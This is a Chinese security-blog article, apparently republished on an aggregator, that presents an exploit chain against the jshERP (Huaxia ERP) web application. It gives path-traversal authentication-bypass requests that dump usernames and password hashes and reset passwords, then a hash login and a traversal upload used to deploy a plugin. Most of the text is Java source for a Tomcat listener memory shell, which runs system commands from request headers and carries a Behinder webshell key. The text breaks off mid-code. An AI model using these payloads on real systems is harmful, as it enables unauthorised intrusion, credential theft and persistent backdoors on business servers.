专栏名称: 利刃信安
利刃信安
目录
相关文章推荐
中国城市规划  ·  天下事 | “2024年中国考古新发现”,揭晓! ·  昨天  
中国城市规划  ·  大家谈人生 | 吴良镛人民日报撰文谈“求索之路” ·  2 天前  
中国城市规划  ·  地方动态 | ... ·  3 天前  
自贡网  ·  一图读懂 | ... ·  3 天前  
51好读  ›  专栏  ›  利刃信安

华夏ERP全版本未授权RCE及内存马注入

利刃信安  · 公众号  ·  · 2024-11-11 16:15

正文

免责声明: 由于传播、利用本公众号李白你好所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号李白你好及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!


1

前言


华夏ERP全版本未授权RCE及内存马注入。 本文来自 《实战攻防》课程开源应用渗透利用篇 。作者: xiuxian

点击下文了解详情👇

实战攻防&&实战渗透强势来袭


2

权限绕过


目前最新版V3.3

GET/jshERP-boot/platformConfig/getPlatform/..;/..;/..;/jshERP-boot/user/getAllList HTTP/1.1

通过getAllList读取用户名,密码MD5值。

Hash登录
使用读取得密码MD5值登录超级管理员后台。
POST /jshERP-boot/user/login HTTP/1.1Host: IPContent-Length: 67Accept: application/json, text/plain, */*User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36Content-Type: application/json;charset=UTF-8Origin: http://172.20.10.3:3000Referer: http://172.20.10.3:3000/user/loginAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: Hm_lvt_1cd9bcbaae133f03a6eb19da6579aaba=1724134392; HMACCOUNT=4FC1696FCCBA0C17; Hm_lpvt_1cd9bcbaae133f03a6eb19da6579aaba=1724138837Connection: close
{"loginName":"admin","password":"e10adc3949ba59abbe56e057f20f883e"}


权限绕过重置用户密码

/jshERP-boot/platformConfig/getPlatform/..;/..;/..;/jshERP-boot/user/resetPwd
{"id":63}

3

后台利用


超级管理员用户登陆后使用uploadPluginConfigFile接口创建../plugin目录,此目录创建后可部署插件。

POST /jshERP-boot/plugin/uploadPluginConfigFile HTTP/1.1Host: 172.20.10.3:3000User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0Accept: */*Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateX-Requested-With: XMLHttpRequestContent-Type: multipart/form-data; boundary=---------------------------64343665641219398361207370473X-Access-Token: 90777cf909864636a458b05de1eab2a9_0Content-Length: 247

-----------------------------64343665641219398361207370473Content-Disposition: form-data; name="configFile"; filename="../plugins/success.txt"Content-Type: text/plain
success
-----------------------------64343665641219398361207370473--

后台上传插件


编写springboot-plugin-framework-parent插件。

https://gitee.com/xiongyi01/springboot-plugin-framework-parent

内存马注入利用

编写冰蝎监听器,部署插件注入内存马。

package ysoserial.payloads.templates;
import com.sun.jmx.mbeanserver.NamedObject;import com.sun.jmx.mbeanserver.Repository;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import org.apache.catalina.connector.Request;import org.apache.catalina.connector.RequestFacade;import org.apache.catalina.connector.Response;import org.apache.catalina.core.StandardContext;import org.apache.tomcat.util.modeler.Registry;
import javax.crypto.Cipher;import javax.crypto.spec.SecretKeySpec;import javax.management.DynamicMBean;import javax.management.MBeanServer;import javax.management.ObjectName;import javax.servlet.ServletRequestEvent;import javax.servlet.ServletRequestListener;import javax.servlet.http.HttpSession;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.util.HashMap;import java.util.Scanner;import java.util.Set;
public class TomcatListenerMemShellFromJMX extends AbstractTranslet implements ServletRequestListener { static { try { MBeanServer mbeanServer = Registry.getRegistry(null, null).getMBeanServer(); Field field = Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor"); field.setAccessible(true); Object obj = field.get(mbeanServer);
field = Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository"); field.setAccessible(true); Repository repository = (Repository) field.get(obj);
Set<NamedObject> objectSet = repository.query(new ObjectName("Catalina:host=localhost,name=NonLoginAuthenticator,type=Valve,*"), null); if (objectSet.size() == 0) { // springboot的jmx中为Tomcat而非Catalina objectSet = repository.query(new ObjectName("Tomcat:host=localhost,name=NonLoginAuthenticator,type=Valve,*"), null); }
for (NamedObject namedObject : objectSet) { DynamicMBean dynamicMBean = namedObject.getObject(); field = Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource"); field.setAccessible(true); obj = field.get(dynamicMBean);
field = Class.forName("org.apache.catalina.authenticator.AuthenticatorBase").getDeclaredField("context"); field.setAccessible(true); StandardContext standardContext = (StandardContext) field.get(obj);
TomcatListenerMemShellFromJMX listener = new TomcatListenerMemShellFromJMX(); standardContext.addApplicationEventListener(listener); } } catch (Exception e) {// e.printStackTrace(); } }
@Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
@Override public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
}
@Override public void requestInitialized(ServletRequestEvent servletRequestEvent) {// Listener马没有包装类问题 try { RequestFacade requestFacade = (RequestFacade) servletRequestEvent.getServletRequest(); Field f = requestFacade.getClass().getDeclaredField("request"); f.setAccessible(true); Request request = (Request) f.get(requestFacade); Response response = request.getResponse(); // 入口 if (request.getHeader("Referer").equalsIgnoreCase("https://www.google.com/")) { // cmdshell if (request.getHeader("x-client-data").equalsIgnoreCase("cmd")) { String cmd = request.getHeader("cmd"); if (cmd != null && !cmd.isEmpty()) { String[] cmds = null; if (System.getProperty("os.name").toLowerCase().contains("win")) { cmds = new String[]{"cmd", "/c", cmd}; } else { cmds = new String[]{"/bin/bash", "-c", cmd}; } String result = new Scanner(Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next(); response.resetBuffer(); response.getWriter().println(result); response.flushBuffer(); response.finishResponse(); } } else if (request.getHeader("x-client-data").equalsIgnoreCase("rebeyond")) { if (request.getMethod().equals("POST")) { // 创建pageContext HashMap pageContext = new HashMap();
// lastRequest的session是没有被包装的session!! HttpSession session = request.getSession(); pageContext.put("request", request); pageContext.put("response", response); pageContext.put("session", session); // 这里判断payload是否为空 因为在springboot2.6.3测试时request.getReader().readLine()可以获取到而采取拼接的话为空字符串 String payload = request.getReader().readLine();
// System.out.println(payload); // 冰蝎逻辑 String k = "e45e329feb5d925b"; // rebeyond session.putValue("u", k); Cipher c = Cipher.getInstance("AES"






请到「今天看啥」查看全文